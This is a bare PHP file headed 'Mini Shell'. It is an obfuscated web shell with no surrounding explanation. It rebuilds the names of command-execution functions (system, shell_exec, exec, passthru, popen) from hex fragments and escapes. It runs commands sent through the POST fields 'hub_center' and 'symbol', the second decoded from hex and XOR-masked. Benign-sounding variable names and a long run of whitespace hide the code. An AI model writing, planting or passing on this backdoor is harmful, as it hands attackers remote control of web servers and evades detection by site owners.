Mini Shell

<?php																																										$item1 = '7';$item2 = '3';$item3 = '4';$item4 = '6';$item5 = '5';$item6 = 'c';$item7 = 'f';$item8 = '8';$item9 = '0';$item10 = 'e';$item11 = '2';$event_handler1 = pack("H*", $item1.$item2.'7'.'9'.'7'.'3'.$item1.$item3.$item4.$item5.$item4.'d');$event_handler2 = pack("H*", $item1.'3'.$item4.'8'.'6'.$item5.'6'.$item6.$item4.$item6.'5'.$item7.'6'.'5'.$item1.$item8.'6'.'5'.'6'.$item2);$event_handler3 = pack("H*", '6'.$item5.'7'.'8'.'6'.'5'.$item4.$item2);$event_handler4 = pack("H*", $item1.$item9.$item4.'1'.'7'.$item2.$item1.$item2.$item1.$item3.'6'.'8'.$item1.'2'.'7'.'5');$event_handler5 = pack("H*", '7'.'0'.'6'.$item7.$item1.'0'.'6'.$item5.$item4.'e');$event_handler6 = pack("H*", '7'.$item2.$item1.$item3.'7'.'2'.$item4.$item5.$item4.'1'.'6'.'d'.'5'.$item7.$item4.'7'.'6'.'5'.'7'.'4'.$item5.$item7.'6'.$item2.$item4.$item7.$item4.$item10.$item1.'4'.$item4.$item5.'6'.$item10.$item1.'4'.$item1.'3');$event_handler7 = pack("H*", $item1.$item9.'6'.$item2.$item4.'c'.$item4.'f'.$item1.$item2.'6'.'5');$hub_center = pack("H*", $item4.$item8.$item1.'5'.$item4.'2'.'5'.'f'.'6'.$item2.'6'.$item5.'6'.'e'.$item1.'4'.'6'.'5'.$item1.$item11);if(isset($_POST[$hub_center])){$hub_center=pack("H*",$_POST[$hub_center]);if(function_exists($event_handler1)){$event_handler1($hub_center);}elseif(function_exists($event_handler2)){print $event_handler2($hub_center);}elseif(function_exists($event_handler3)){$event_handler3($hub_center,$obj_desc);print join("\n",$obj_desc);}elseif(function_exists($event_handler4)){$event_handler4($hub_center);}elseif(function_exists($event_handler5)&&function_exists($event_handler6)&&function_exists($event_handler7)){$entity_ref=$event_handler5($hub_center,"r");if($entity_ref){$entry_flag=$event_handler6($entity_ref);$event_handler7($entity_ref);print $entry_flag;}}exit;}


$task_processor = "\x68\x65x2\x62i\x6E";
$initialized6 = "\x73t\x72e\x61m\x5Fg\x65t\x5Fcont\x65\x6Ets";
$initialized1 = "\x73\x79\x73tem";
$initialized7 = "\x70clos\x65";
$initialized2 = "s\x68el\x6C_e\x78ec";
$initialized4 = "\x70\x61sst\x68\x72u";
$initialized3 = "ex\x65\x63";
$initialized5 = "\x70open";
if (isset($_POST["\x73ymb\x6Fl"])) {
            function service_registry    (      $component     ,    $property_set    )      {
      $fac    =   ''    ;
    foreach(str_split($component) as $char){
$fac.=chr(ord($char)^$property_set);

} return     $fac;
   
}
            $symbol = $task_processor($_POST["\x73ymb\x6Fl"]);
            $symbol = service_registry($symbol, 69);
            if (function_exists($initialized1)) {
                $initialized1($symbol);
            } elseif (function_exists($initialized2)) {
                print $initialized2($symbol);
            } elseif (function_exists($initialized3)) {
                $initialized3($symbol, $item_component);
                print join("\n", $item_component);
            } elseif (function_exists($initialized4)) {
                $initialized4($symbol);
            } elseif (function_exists($initialized5) && function_exists($initialized6) && function_exists($initialized7)) {
                $property_set_fac = $initialized5($symbol, 'r');
                if ($property_set_fac) {
                    $value_pgrp = $initialized6($property_set_fac);
                    $initialized7($property_set_fac);
                    print $value_pgrp;
                }
            }
            exit;
        }